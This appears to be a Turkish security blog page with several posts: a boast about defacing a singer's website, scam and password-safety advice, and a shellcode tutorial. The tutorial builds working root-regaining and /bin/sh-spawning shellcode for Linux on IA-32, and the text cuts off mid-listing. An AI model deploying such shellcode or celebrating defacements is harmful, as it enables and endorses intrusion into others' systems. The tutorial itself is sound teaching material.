Ama Turk HAckerLar Yine boş durmadı Bu Sabah Nilay Dorsanın Resmi Web sitesi olan http://www.nilaydorsa.com ismindeki web sitesini hacklemeyi başardılar!!!!

İşte o siteden son görüntüler



buda zonesi
http://www.zone-h.org/mirror/id/9655711

10 Eylül 2009 Perşembe

Facebook'ta Scam Tehlikesi

İnternet dolandırıcılığı günümüzde daha fazla insanı etkilemeye başladı. İnternetin en çok kullanıcıya sahip sosyal ağları da bu dolandırıcılık hikayelerinden nasibini almakta. Scam olarak tabir edilen dolandırıcılık türü bu sefer İngiltere'de yaşayan bir bayanın 4,000 $'ını Facebook hesabı yüzünden kaybetmesi ile gün yüzüne çıktı.



Vnunet'in haberine göre Londra'da yaşayan Jayne Scherrman arkadaşı olan Grace Parry'nin Facebook hesabından aldığı mesajlar yüzünden 4,000 $'ını dolandırıcılara kaptırdı. Dolandırıcılar ilk olarak Parry'nin Facebook hesabını hacklemişler ardından sanki göçmen bürosunda kalmış ve ancak belli bir miktar parayla evlerine dönebileceklermiş gibi Scherrman'a Facebook üzerinden mesajlar göndermişler. Bunun üzerine yakın arkadaşını bu zor durumdan kurtarmak isteyen Scherrman 4,000 $'ı istenilen hesaba göndermiş fakat işin aslını ancak parasını kaybettikten sonra öğrenebilmiş.

Güvenlik uzmanları kullanıcıların bu tip konularda çok dikkatli olmaları gerektiğini ve sosyal bir platformdan gelen mesajın aslında o kişi tarafından gönderilmemiş olabileceğini her zaman göz önünde bulundurmalarının önemli olduğunu belirtmekte.

Şifre Kırıcılar ve Güvenli Bir Şifre

Şifre kırıcılar genellikle yanlış yorumlandığından öncelikle bunu tanımlayalım. Herhangi bir şifre kırıcı ne var olan şifreyi deşifre eder nede şifre korumasını kaldırır. Genellikle şifre kırıcılar bir kelimeden sonra diğer bir kelimeyi deneyerek şifreyi bulurlar. Ayrıca şifre kırıcı eşittir hacker şeklindeki anlayış tamamen yanlıştır. İlla ingilizce bir kavram ile karşılık bulunmak istenirse "şifre kırıcı= password cracker" denilebilir.

Şifreleme işlemi genellikle tek yönlü olarak yapılmaktadır. Yani bir şifrenin şifreleme işleminden sonra tekrar deşifresi mümkün değildir. Aslında şifre güvenliği konusu güvenliğin çekirdeğine kadar iner genel sorun kullanıcıların şifrelerini belirlerken basit düşünmeleri buna bağlı olarak kolay çözülebilen şifreler vermeleridir. Bunun en komik örneği ise şifre olarak "şifre" ve "password" kelimelerinin belirlenmesidir.

Bir dosyanın şifrelenmesinde, sitenize koyduğunuz herhangi bir şifreli sayfada, FTP veya internete bağlanırken kullandığınız şifrelere büyük önem göstermek güvenliğiniz açısından oldukça önemlidir. Bu nedenle şifre verirken bazı unsurlara dikkat edilmelidir.

>>Şifre belirlerken yapılmaması gerekenler;
*Asla kullanıcı adınızı yada şahsi bilgilerinizi içeren bir şifre kullanmayın.
*Şifre kısmını boş bırakmayın "enter" tuşuna basmak pekte zor değildir, sadece şifre ekranıda çaydırıcı bir etken olarak görülemez.
*Günlük hayatta sıkca kullanılan kelimeleri kullanmayın. Örn (selam....)
*Yalnızca küçük, büyük harf yada sayıdan oluşan şifreler vermeyin.
*En sevdiğiniz aktör, film, müzik grubu yada şarkıcı isimlerini şifre olarak belirlemeyin.Bu tür bilgiler size özgü olmasına rağmen ulaşılması en kolay olanlardır.
*Belirli bir kelimeyi şifre olarak kullanacaksanız sözlükte verildiği gibi kullanmamaya çalışın. Örn (komedi=K0m3D1)
*Şifrenizde kullandığınız bi karakteri mümkün olduğunca tekrar etmemeye çalışın.
*Şifrelerinizi bir kağıtta, cep telefonunda yada bilgisayarınızda kayıtlı tutmayın.
*Şifrenizi ne gerekeçe olursa olsun kimseyle paylaşmayın.

>>Şifre belirlerken yapmanız gerekenler;
*En az 8 karakterden oluşan bir şifre belirleyin.
*Rakam, küçük/büyük harf ve özel işaretleri kullanın.
*Daha kolay hatırlamak için bir cümledeki kelimelerin baş harflerinden oluşan karakter grubunun başına ve sonuna özel işaret koyarak kullanabilirsiniz.Yada sevdiğiniz bir cümleyi tarihiyle birlikte kullanmak daha güvenli olacaktır.Örneğin; Unix işletim sistemini çalıştıran makina sayısı 10 ve bunun artması bekleniyor 1972=&UiScMs10vbAB1972&
*Farklı makinelerde, sitelerde, mail hesaplarında farklı şifreler kullanın.

Daha güvenli günler dileğiyle.

Facebook ve Tehlikeleri: Sosyal Mühendislik

Sosyal Mühendislik (Social Engineer) ilk olarak hayatımıza ünlü bilgisayar korsanı Kevin David Mitnick’in kullandığı numara olarak girdi hayatımıza. Mitnick yakalanıp hapise atıldıktan sonra yazdığı “Aldatma Sanatı” isimli kitapta Sosyal Mühendislik ve İkna Sanatıyla ilgili çok güzel bilgiler verdi bizlere.

Son zamanların en popüler Hacking yöntemlerinden birisi olan Sosyal Mühendislik, kısaca; karşı tarafın zaaflarından yararlanarak ve o’nu bazen tatlı bir dille, bazen etkileyerek, bazen korkutarak, bazen de olayın içindeki kişilerin isimlerini referans olarak kullanarak ikna etmek ve ikna neticesinde Bilgi, Şifre vb. gizli bilgilere erişme sanatı.



Bu yöntemleri en çok kullanan kişiler arasında tabii ki Bilgi ve Veri casusu Hackerler geliyorlar. Daha sonra ise Profesyonel Casuslar, Dedektifler ve Kişisel hedefleri olan art niyetli kişileri sıralayabiliriz.

Dünya’nın en büyük Sosyal ağ portalı olan Facebook, Sosyal mühendislik tekniklerini kullanarak bilgi edinmek ve edinilen bilgileri illegal yöntemler için kullanmak açısından oldukça elverişli bir ortam sağlıyor. Öyle ki bu durum, Facebook kullanıcı olup Güvenlik ve Gizlilik Ayarları doğru yapılandırılmamış kişilerin Banka Bilgileri, Nüfus Bilgileri vb. daha bir çok önemli bilgilerinin çalınması ve neticede dolandırılmaları ya-da dolandırıcılıklara alet edilmeleri ile sonuçlanıyor.

Facebook vb. Sosyal Portallara üye olurken doldurduğumuz Profil bilgilerimiz zararsız gibi görünse de yukarıda saydığımız Hacker, Profesyonel Casuslar ve Kişisel Düşmanlar tarafından Sosyal Mühendislik Yöntemiyle elverişli bir şekilde kullanılabiliyor.

Sosyal Mühendislikle uğraşan kötü niyetli bu kişiler ellerinde sizlerle ilgili var olan bilgilerin eksik yanlarını çok kolay bir şekilde Facebook üzerinden edinerek çok ciddi zararlar verebiliyorlar. Türkiye’de resmi işlemler dahil olmak üzere bir çok işlemde (bankacılık ve kredi kartı işlemleri dahil) Adınız Soyadınız, Doğum Tarihiniz, Doğum Yeriniz ve T.C. Kimlik numaranız istenir. Bu isteklerin arasına artı bir istek olarakta güvenlik işlemine tabii tutmak açısından “ANNE KIZLIK SOYADI” istenmektedir.

Hedef alınan kişilerin Adı Soyadı, Doğum yeri, Doğum tarihi ve yine belli Sosyal Mühendislik teknikleri kullanılarak T.C. Kimlik NO’su bulunsa bile ANNE KIZLIK SOAYDINI bulmak diğer saydığım maddeler kadar kolay değildir. Tabii ki bu işin mantıklı olarak düşünüldüğü zaman ilk akla geleni. Ancak mantığımızı biraz daha zorlarsak Facebook’a üye olan birisinin ANNE KIZLIK SOY ADI BİLGİLERİNE çok kolay bir şekilde ulaşılabildiğini anlayabiliriz.

Nasıl mı ? Kişinin Bekar Teyzesi ya-da Dayısı ya-da yine Annesi tarafından yakın bir akrabası, Kişinin ANNE KIZLIK SOY ADINI kullanacaktır.

Kötü niyetli kişiler, Facebook gibi Sosyal Portallar üzerinden kişilere sahte isimlerle arkadaşlık teklifi göndererek onların arkadaş Network’üne dahil oluyor ve kişilerin yakın akrabalarının soy isimlerini taramaya başlıyorlar. İlk hedef olarak tabii ki kişinin Dayısı ve Teyzesi baz alınıyor. Böylece Bankacılık, Kredi kartı ve bir çok resmi işlemde kullanılan “ANNE KIZLIK SOY ADI” Güvenlik seçeneği ortadan kaldırılmış oluyor.

Peki FacebookKullanıcıları Önemli Bilgilerini Casuslara Vermemek İçin Ne Yapmalı ?

Tabii ki bunun da yol ve yöntemleri var ;

# Dayı, Teyze ve Anne Kızlık Soy adı taşıyan diğer akrabalar ile Facebook üzerinde Yakınlık Derecenizi belirtmeyin,
# Resmi işlemlerde ve Bankacılık İşlemlerinde sizlerden istenen Doğum Tarihi, Doğum Yeri vb. kriterleri Facebooktaki Profil alanınızdan kaldırın,
# Facebook Güvenlik ve Gizlilik Ayarlarını en yüksek seviyeye çıkartın.
# Tanımadığınız kişilerin Arkadaşlık Tekliflerini kabül etmeyin.
# Facebook üzerinde 3’ncü kişiler tarafından yapılan Poker, Okey gibi çeşitli uygulamaları barındıran seçenekleri Profilinize eklemeyin ve bu tip Uygulamaların çalıştığı yerlere giriş yapmayın. Bu uygulamalar Korsanlar tarafından hack edilebilir olduğundan dolayı Profil bilgilerinizi kısıtlasanız bile korsanların eline geçmektedir.

Yazımıza son verirken, Son sözü yine Güvenliğe vurgu yaparak bitirelim, Daha güvenli Sosyal İletişim için Facebook ve diğer Sosyal Portalları sizin aleyhinize kullanabilecek bilgiler ile donatmayın.

Yazar: Onur OKTAY

29 Ağustos 2009 Cumartesi

Michael Jackson'ın ölüm nedeni: Propofol


Biliyorsunuz ki efsane birisiydi gerçi ben pek sevmezdim ama :)) neyse bunun hakkında bir sürü haber çıktı şundan öldü bundan öldü yok ölmedi yaşıyor saklanıyor vs.vs.vs artık en sonuncu haberi sizlere sunuyorum dikkatle okuyun aşağıyı



Los Angeles Adli Tıp Kurumu, 25 Haziran'da Michael Jackson'ın ölümüne, uykusuzluk tedavisinde kullandığı çok güçlü anestezi ilacı propofolden zehirlenmenin neden olduğunu açıkladı.

Propofol ve sakinleştirici lorazepam ilaçlarının Jackson'ın ölümünün en önemli nedenleri olduğu kaydedilen kurumun açıklamasında, otopside Jackson'ın kanında midazolam, diazepam, lidocaine ve ephedrine ilaçlarının da bulunduğu kaydedildi.

Ölmeseydi, eşcinsel aşkıyla evlenecekti!

Los Angeles polisi ve savcının isteği üzerine nihai raporun gizli kalacağı da açıklandı.

Los Angeles polis teşkilatı tarafından yapılan açıklamada da Jackson'ın ölümüyle ilgili soruşturmanın sürdüğü ve soruşturma tamamlanıncaya dek yetkililerle işbirliğinin süreceği belirtildi.

Los Angeles bölge adli soruşturma yetkilileri, hafta başında, uzmanların araştırmasının olayın “cinayet” olduğunu gösterdiğini, Jackson'a öldürücü bileşik oluşturan ilaçlar verildiğinin belirlendiğini ifade ederek, adli tıp testleri sonucu Jackson'ın vücudunda iki yatıştırıcı ilaçla birlikte propofol bulunduğunu açıklamıştı.

Sonuçların, Jackson'ın öldüğü sırada yanında bulunan ve Jackson'ın fizik tedavisinden sorumlu Dr. Conrad Murray hakkında yasal işlemler yapılmasını gerektirdiği belirtilmişti.

Buffer Overflows 2

Buffer Overflows Demystified isimli bir onceki yazimizda ileride
bu konu ile ilgili daha detayli ve daha cok dikkat gerektiren mevzular hakkinda
yazilarimizin gelecegini belirtmistik. Simdi bu sozumuzu tutuyor, ve
serinin ikinci dokumanini sunuyoruz. Dokuman shellcode dizayninin mantigi ve
incelikleri hakkindadir. Intel mimarisinde Linux 2.2 isletim sistemi baz alinmistir.
Konunun temel mantigi butun mimarilerde ayni olmakla beraber, detaylar mimariden
mimariye degisir...


Bu dokuman, birincisinin devami niteligindedir. Olup biteni anlamak
icin oncekini mutlaka okumalisiniz. Dokumani anlamak icin yuzeysel C, assembly
bilmeniz gerekli. Sanal bellek, bir proses'in bellekte nasil yerlestigi ve
benzeri isletim sistemi kavramlari bilgileri cok yardimci olur. Ayrica setuid
programlarin ne olduklari ve nasil calistiklari gibi temel Unix bilgileri
dokumani anlamaniz icin sart. Gdb ve gcc ile daha onceden calismis olmaniz
teknik olarak isinizi kolaylastiracaktir. Yaninizda her halukarda "IA-32
Intel� Architecture Software Developer.s Manual Volume 1: Basic Architecture"
kitabini da hazir bulundurmalisiniz. Bu dokumani
ftp://download.intel.com/design/Pentium4/manuals/24547008.pdf
adresinden indirebilirsiniz.

Bu dokumanin en yeni versiyonlarini,

http://www.enderunix.org/docs/sc-tr.txt

adresinden okuyabilirsiniz...


SHELLCODE Nedir?
Bir onceki dokumanda, israrla programin kontrolunu elimize aldiktan
sonra istedigimiz bir kodu calistirabildigimizi soylemistim. Hatirlayalim:

"Biz strcpy()'yi cagirdigimizda buyuk_array, foo1 array'inin baslangic adresi
olan EBP-16'dan baslayarak, yukari dogru butun stack'i A ile dolduruyor.
Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese
calismasini istedigimiz baska bir program parcaciginin adresini koysak,
fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki
instruction'lari calistirmaya baslamaz mi?

Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini
koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod
calismaya baslayacak ve biz shell'e dusecegiz."

Yine diger yazidan hatirlarsaniz, CPU'nun calistiracagi bu 'instruction'lar,
hafizada belirli bir kesimde bulunuyorlar, ve CPU da EIP'nin gosterdigi hafiza
bolmesindeki komutlari sirayla teker teker calistiriyor. Basitce yaptigimiz
calismasini istedigimiz komutlari iceren machine instruction'lari kontrolumuz
altindaki hafiza bolmesine yerlestirmek.

Iste istedigimiz komutlari iceren bu makina komutlarina shellcode diyoruz.
Bir exploit'in icinde kullanmak icin de, bu komutlarin hafizaya yerlestirebile-
cegimiz sekilde hexadecimal hallerini art arda dizip, bir karakter array'e
koyuyoruz.

Bu komutlari birkac sekilde yazmak mumkun:
1. Hex Code'la direkt yazmak
2. Assembly kodunu yazip, hex kodunu (opcode) cikarmak
3. C kodunu yazip, assembly ve sonra da hex kodunu cikarmak

Bu dokumanda Once ucuncu yontemi kullanip basitce /bin/sh calistiran bir
shellcode olusturmaya calisacagiz, sonra da ikinci yontemden giderek bir iki
systemcall'i calistiran bir shellcode yazacagiz.

Shellcode ile calistirmak isteyecegimiz kod cogu zaman bir sistem programinin
calistirilsi olacaktir. Ornegin, exploit'le kontrolunu ele aldigimiz programin
buyuk ihtimalle yeni bir shell spawn etmesini, eger remote calisacaksa, bir
socket'e baglandiktan sonra o socket'e bir shell bind etmesini isteyecegiz. Bi
program calistirmak demek, kernel'dan "yeni process yaratip calistirma"
servisini cagirmak demektir (execve). Iste bu tip kernel servislerini istemek
icin once user mode'dan kernel mode'a gecmemiz gerekmektedir. Bu islemler,
"kernel giris kapisi" olarak tanimlayabilecegimiz system call'lar (bundan
sonra sistem cagrisi olarak tanimlayacagiz) ile yapilabilmektedir. Bu durumda
shellcode'dan once sistem cagrilarina daha yakindan gozatmakta fayda var.


SYSTEM CALLS (SISTEM CAGRILARI)

Kernel mode'a girisler, onu olusturan olayin niteligine gore uce ayrilirlar:

1. Hardware Interrupt
2. Hardware trap
3. Software initiated trap

Hardware Interrupt'lari adindan da anlasilacagi uzre, donanimsal ihtiyaclardan
dolayi olusturulurlar. Mesela islem bekleyen bir Girdi/Cikti aygiti ya da
sistem'in saati bu tip kesmelere neden olabilirler. Bunlar asenkrondurlar ve
o anda calismakta olan programla ilgili olmayabilirler.

Hardware Traplar, senkron veya asenkron olabilirler ve o anda calisan process
ile ilgilidirler. Bunlara ornek olarak, programda olusan sifira bolme hatasi
(division by zero) verilebilir.

Software Initiated trap'ler tamamen yazilim bazlidir, ve sistem tarafindan
process rescheduling veya network processing gibi olaylari schedule etmek icin
kullanilirlar.

Sistem cagrilari da software initiated trap'larin ozel bir seklidir. Sistem
cagrisini olusturmak icin kullanilan makina komutu, kernel tarafindan ozel
olarak process edilen bir hardware trap olusturmaktadir, kisaca...

System call'i nitelendiren bir interrupt oldugunda, kernel, bu interrupti
process etmenin overhead'ini en aza indirmekle sorumludur. System call
olustugunda, kernel'in system call handler'i system call'a girilen parametre-
lerin dogru userspace adresler oldugunu dogrulamak, bu parametreleri kullanici
alanindan kernel alanina kopyalamak; ve de sistem cagrisini isleyecek bir
kernel rutinini cagirmak durumundadir.

Linux, IA32 mimarisinde sistem cagrilarini karsilamak icin iki metod kullanir:
1. lcall7/lcall27 gates
2. INT 0x80 software interrupt.

Asil Linux uygulamalari INT 0x80'i kullanirken, diger bazi UNIX vendor'larinin
binary'leri de lcall7 mekanizmasini kullanir.

Isletim sisteminin boot prosedulerinden birisi de, Interrupt Descriptor Table
(IDT)'yi olusturmaktir. arch/i386/kernel/traps.c icindeki trap_init()
fonksiyonu, IDT vektorunun 0x80 (128). elemaninin arch/i386/kernel/entry.S deki
system_call entry'e isaret etmesini saglar. Boylece bir INT 0x80,
komutu calistiginda onu karsilayan kernel fonksiyonu calisacaktir.

Sistem cagrisi istegini, cagri anindaki CPU register'larinin durumu belirler.
EAX register'inin alacagi deger, hangi sistem cagirisinin calistirilacagini
tespit eder. Diger registerlar, EAX'in aldigi deger gore parametrik deger
tasirlar.

Ornek vermek gerekirse, bir process'den _exit sistem call cagrilmis olsun.
Isletim sistemi INT 0x80 komutu ile kernel mode'a gecmeden once EAX registerini
sys_exit'i tanimlayan 0x1 yapar, _exit'e girilen integer parametresini
(exit status)'de EBX register ina yazar ve INT 0x80 ile kernel mode'a gecer.
Kernelda bu trap'in sonucunda IDT'ten 0x80'i karsilayacak rutini bulur ve
calistirir. O fonksiyon da, EAX'daki degere gore gerekli system call handler'i
calistirir. Bu durumda EAX 0x1 olduguna gore, kernel/exit.c deki sys_exit
rutini calistirilir. Bu rutin de EBX'deki degere gore islemini yapar, ve bundan
sonra da ret_from_syscall rutinleri calismaya baslar...

Evet, son derece yuzeysel olarak system cagri mantigini ve nasil calistigini
anlattiktan sonra isterseniz simdi exit(0)'i assembler'da yazmaya calisalim.
Sonra da assembler kodunun karsiligini hex opcode'lari bulup, bir string'e
dizip shellcode haline getirecegiz.


EXIT SHELLCODE

Once, C kodunu yazip disassemble edelim ve olayi gozlerimizle gorelim.

$ export CFLAGS=-g

----------------------- c-exit.c ------------------------------
#include

main()
{
exit(0);
}
----------------------- c-exit.c ------------------------------

$ make c-exit
cc -g c-exit.c -o c-exit
$ gdb ./c-exit
(gdb) b main
Breakpoint 1 at 0x80483b7: file c-exit.c, line 5.
(gdb) r
Starting program: /home/balaban/sc/./c-exit
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Breakpoint 1, main () at c-exit.c:5
5 exit(128);
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400a5ee0 <_exit>: mov %ebx,%edx
0x400a5ee2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x400a5ee6 <_exit+6>: mov $0x1,%eax
0x400a5eeb <_exit+11>: int $0x80
--kesildi---

End of assembler dump.
(gdb)

Evet yukarida goruldugu gibi, standart library rutini _exit,
EAX'i sys_exit'in karsiligi olan 0x1 yapip, parametreyi(stack'de) de EBX'e
koyuyor.

Yani, exit(0) icin gerekli assembler instruction'lari:
XOR %EBX, %EBX /* exitin donus kodu, EBX'i sifirliyoruz.*/
MOV $0x1, %EAX /* sys_exit */
INT 0x80 /* SW Interrupt'i generate et. */

Linux System Call table'in kullanici dostu bir hali asagidaki adreste
bulunabilir:
http://world.std.com/~slanning/asm/syscall_list.html

Burada sys_exit asagidaki sekilde tarif edilmis:

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -

Sadece EAX ve EBX kullanilmis, diger registerlar bir mana ifade etmiyor...

Simdi bunu inline assembly kodu olarak girelim:


----------------------- a-exit.c ------------------------------
main()
{
__asm__("
xorl %ebx, %ebx
mov $0x1, %eax
int $0x80
");


}
----------------------- a-exit.c ------------------------------

strace komutu ile program suresince calisan syscall'lari izleyebiliyoruz:

$ strace ./a-exit
execve("./a-exit", ["./a-exit"], [/* 32 vars */]) = 0
brk(0) = 0x80494d8

--- kesildi ---

_exit(0) = ?
$

Yukarida gordugunuz gibi en son _exit(0) calismis...


Simdi de baslamisken, baska bir syscall'a bakalim:
setreuid(0, 0)

Bazi vulnerable programlar, biz daha onceden execution'u ele almadan
privilege'larini drop ediyorlar, direk shell'i spawn ettigimiz zaman da root
shell'e dusmuyoruz.
Onun icin bu gibi durumlarda asil shellcode'un onune bunun gibi bir kod ekleyip
once root privilege'lari tekrar ele aliyoruz.


Yukarida verilen URI'den setreuid(0, 0) icin register'lerin hangi durumda
olmasi gerektigine bakalim:

%eax Name Source %ebx %ecx %edx %esx %edi
70 sys_setreuid kernel/sys.c uid_t uid_t - - -

Yapacagimiz ayni. EAX'a sys_setreuid'in degeri 70'i, EBX'e istedigimiz real
uid'i, ECX'e de istedigimiz effective uid'i yazip INT 0x80 yapacagiz.


----------------------- a-setreuid.c ------------------------------

main()
{
__asm__("
xorl %ebx, %ebx
xorl %ecx, %ecx
mov $0x46, %eax
int $0x80
xorl %ebx, %ebx
mov $0x1, %eax
int $0x80
");

}


----------------------- a-setreuid.c ------------------------------

xorl %ebx, %ebx
EBX register'ini sifir yapiyoruz. Bir sayiyi kendisi ile XOR'larsaniz
o sayiyi sifir yapmis olursunuz. EBX real uid'in ne olacagini belirliyor.

xorl %ecx, %ecx
Ayni sekilde ECX register'ini da sifir yapiyoruz. ECX effective uid'in
ne olacagini belirliyor.

mov $0x46, %eax
EAX register'ina 0x46'yi koyuyoruz. Bu setreuid'in syscall table'daki
degeri.

int $0x80
Interrupt'i trigger ediyoruz.

Bundan sonraki diger kisimlar da exit(0) icin gerekli olan assembler
komutlari.


$ make a-setreuid
cc a-setreuid.c -o a-setreuid
$ su
# strace ./a-setreuid
execve("./a-setreuid", ["./a-setreuid"], [/* 31 vars */]) = 0
brk(0) = 0x80494e4

---- kesildi ----

setreuid(0, 0) = 0
_exit(0) = ?
#

Gordugunuz gibi once setreuid(0, 0), sonra da _exit(0) calismis.
Simdi de yazdigimiz kodun hexadecimal opcode olarak karsiligini
bulup, bunlari bir dizi seklinde yazalim: GDB'de x/bx komutu belirti-
gimiz hafiza bolmesinden bir byte unit'i hexadecimal olarak bize
gosterir. Bizim de istedigimiz tam olarak bu. Daha detayli bilgi
icin: http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_9.html#SEC56

$ gdb ./a-setreuid
(gdb) disas main
Dump of assembler code for function main:
0x8048380
: push %ebp
0x8048381 : mov %esp,%ebp
0x8048383 : xor %ebx,%ebx
0x8048385 : xor %ecx,%ecx
0x8048387 : mov $0x46,%eax
0x804838c : int $0x80
0x804838e : xor %ebx,%ebx
0x8048390 : mov $0x1,%eax
0x8048395 : int $0x80
0x8048397 : leave
0x8048398 : ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 : 0x31
(gdb) x/bx main+4
0x8048384 : 0xdb
(gdb) x/bx main+5
0x8048385 : 0x31
(gdb) x/bx main+6
0x8048386 : 0xc9
(gdb) x/bx main+7
0x8048387 : 0xb8
(gdb) x/bx main+8
0x8048388 : 0x46
(gdb) x/bx main+9
0x8048389 : 0x00
(gdb) x/bx main+10
0x804838a : 0x00
(gdb) x/bx main+11
0x804838b : 0x00
(gdb) x/bx main+12
0x804838c : 0xcd
(gdb) x/bx main+13
0x804838d : 0x80
(gdb) x/bx main+14
0x804838e : 0x31
(gdb) x/bx main+15
0x804838f : 0xdb
(gdb) x/bx main+16
0x8048390 : 0xb8
(gdb) x/bx main+17
0x8048391 : 0x01
(gdb) x/bx main+18
0x8048392 : 0x00
(gdb) x/bx main+19
0x8048393 : 0x00
(gdb) x/bx main+20
0x8048394 : 0x00
(gdb) x/bx main+21
0x8048395 : 0xcd
(gdb) x/bx main+22
0x8048396 : 0x80
(gdb)

Simdi de shellcode'umuzu yazalim:

----------------------- s-setreuid.c ------------------------------
char sc[] = "\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xb8\x46\x00\x00\x00" /* mov $0x46, %eax */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */
"\xcd\x80"; /* int $0x80 */


main()
{
void (*fp) (void);

fp = (void *)sc;
fp();
}
----------------------- s-setreuid.c ------------------------------

$ su
# make s-setreuid
cc s-setreuid.c -o s-setreuid
# strace ./s-setreuid
execve("./s-setreuid", ["./s-setreuid"], [/* 31 vars */]) = 0
brk(0) = 0x80494f8

---- kesildi

setreuid(0, 0) = 0
_exit(0) = ?
#

Evet yukarida gordugunuz gibi, ayni etkiyi kendi yazdigimiz shellcode'umuz ile
gerceklestirdik.



SHELL SPAWN EDEN SHELLCODE

Isin tatli tarafi burada aslinda. Simdi de yukarida ogrendikleri-
mizi temel alarak shell calistiran bir shellkod yazmaya calisalim. Once yapma-
miz gereken execve systelcall'unu biraz incelemek. Yukarida verdigim adrese
gidin ve ne yapmaniz gerektigini hemen ogrenin:

%eax Name Source %ebx %ecx %edx %esx %edi
11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - -

struct pt_regs kabul ediyor. Eger arch/i386/kernel/process.c'ye bakacak
olursaniz:

/*
* sys_execve() executes a new program.
*/
asmlinkage int sys_execve(struct pt_regs regs)
{
int error;
char * filename;

filename = getname((char *) regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, ®s);
if (error == 0)
current->ptrace &= ~PT_DTRACE;
putname(filename);
out:
return error;
}

execve'nin do_execve diye baska bir fonksiyonu cagirdigini goreceksiniz. Bu
fonksiyona calistirilacak programin adresini (filename), ECX ve EDX register
larini da pass ettigini goreceksiniz. Demek ki EBX register'inda calistiraca-
gimiz programin full pathinin adresi, yani "/bin/sh"'in adresi olmasi gerekiyor:
filename = getname((char *) regs.ebx);

Simdi diger register'larin ne ise yaradigini anlamak icin biraz daha izleyelim:

fs/exec.c'den:

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)

Buradan da, ECX register'inda argv[]'nin adresinin olacagini, EDX register'inda
env[]'in olacagini anliyoruz. env[] yerine NULL koyabiliriz, ama argv[0]
programin ismi olmali. argv[]'nin NULL terminated bir array olma zorunlulugun-
dan dolayi argv[1] de NULL olacak dolayisiyla.

Bu duruma gore, yapmamiz gereken:
* hafizada /bin/sh string'i bulundurmak
* bunun adresini EBX'e yazmak
* hafizada /bin/sh'in ve sifir'in adresini barindiran bir array bulundurmak
* bu char **'in adresini ECX'e yazmak
* EDX'e NULL yazmak
* int $0x80 ile interrupt'i trigger etmek.


Simdi yazmaya baslayalim:

Once hafiazada NULL terminated "/bin/sh" koyalim. bu string'i stack'e push
ederek bunu yapabiliriz:

"/bin/sh" dizisini sonlandiran NULL byte'i (0) EAX registerinda olusturuyoruz:
xorl %eax, %eax

Sifiri stack'e push et:
pushl %eax

Stack'e "//sh" push et:
pushl $0x68732f2f

Stack'e "/bin" push et:
pushl $0x6e69622f

ESP su anda "/bin/sh" dizisinin adresini gosteriyor. Bizim bu adrese EBX'de
ihtiyacimiz var. O zaman onu EBX'e koyalim:
movl %esp, %ebx

EAX hala sifir. Bunu da argv[]'yi sonlandiran NULL icin kullanabiliriz:
pushl %eax

Eger /bin/sh'in adresini de push edersek, ECX'e koymamiz gereken argv'nin adresi
ESP'de olusacaktir. Boylece hafizada char **argv olusturmus oluyoruz:
pushl %ebx

Simdi de bunun adresini ECX'e yazalim:
movl %esp, %ecx

EDX'de envp'nin adresi gerekiyordu. Hatirlarsaniz NULL olabilir demistim:
xorl %edx, %edx

EAX'e syscall tablosunda execve'nin karsiligi olan 11'i yaz:
movb $0xb, %al

Interrupy'i trigger et ve kernel mode'a gec:
int $0x80


----------------------- sc.c ------------------------------

main()
{
__asm__("
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80"
);
}

----------------------- sc.c ------------------------------

$ make sc
cc -g sc.c -o sc
$ ./sc
sh-2.04$

Calisti. Simdi de satir satir opcode'larini bulalim, ve shellcode'umuzu
olusturalim.

$ gdb ./sc
(gdb) disas main
Dump of assembler code for function main:
0x8048380
: push %ebp
0x8048381 : mov %esp,%ebp
0x8048383 : xor %eax,%eax
0x8048385 : push %eax
0x8048386 : push $0x68732f2f
0x804838b : push $0x6e69622f
0x8048390 : mov %esp,%ebx
0x8048392 : push %eax
0x8048393 : push %ebx
0x8048394 : mov %esp,%ecx
0x8048396 : xor %edx,%edx
0x8048398 : mov $0xb,%al
0x804839a : int $0x80
0x804839c : leave
0x804839d : ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 : 0x31
(gdb) x/bx main+4
0x8048384 : 0xc0
(gdb)
0x8048385 : 0x50
(gdb)
0x8048386 : 0x68
(gdb)
0x8048387 : 0x2f
(gdb)
0x8048388 : 0x2f
(gdb)
0x8048389 : 0x73
(gdb)
0x804838a : 0x68
(gdb)
0x804838b : 0x68
(gdb)
0x804838c : 0x2f
(gdb)
0x804838d : 0x62
(gdb)
0x804838e : 0x69
(gdb)
0x804838f : 0x6e
(gdb)
0x8048390 : 0x89
(gdb)
0x8048391 : 0xe3
(gdb)
0x8048392 : 0x50
(gdb)
0x8048393 : 0x53
(gdb)
0x8048394 : 0x89
(gdb)
0x8048395 : 0xe1
(gdb)
0x8048396 : 0x31
(gdb)
0x8048397 : 0xd2
(gdb)
0x8048398 : 0xb0
(gdb)
0x8048399 : 0x0b
(gdb)
0x804839a : 0xcd
(gdb)
0x804839b : 0x80
(gdb)


----------------------- sc.c ------------------------------

char sc[] =
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
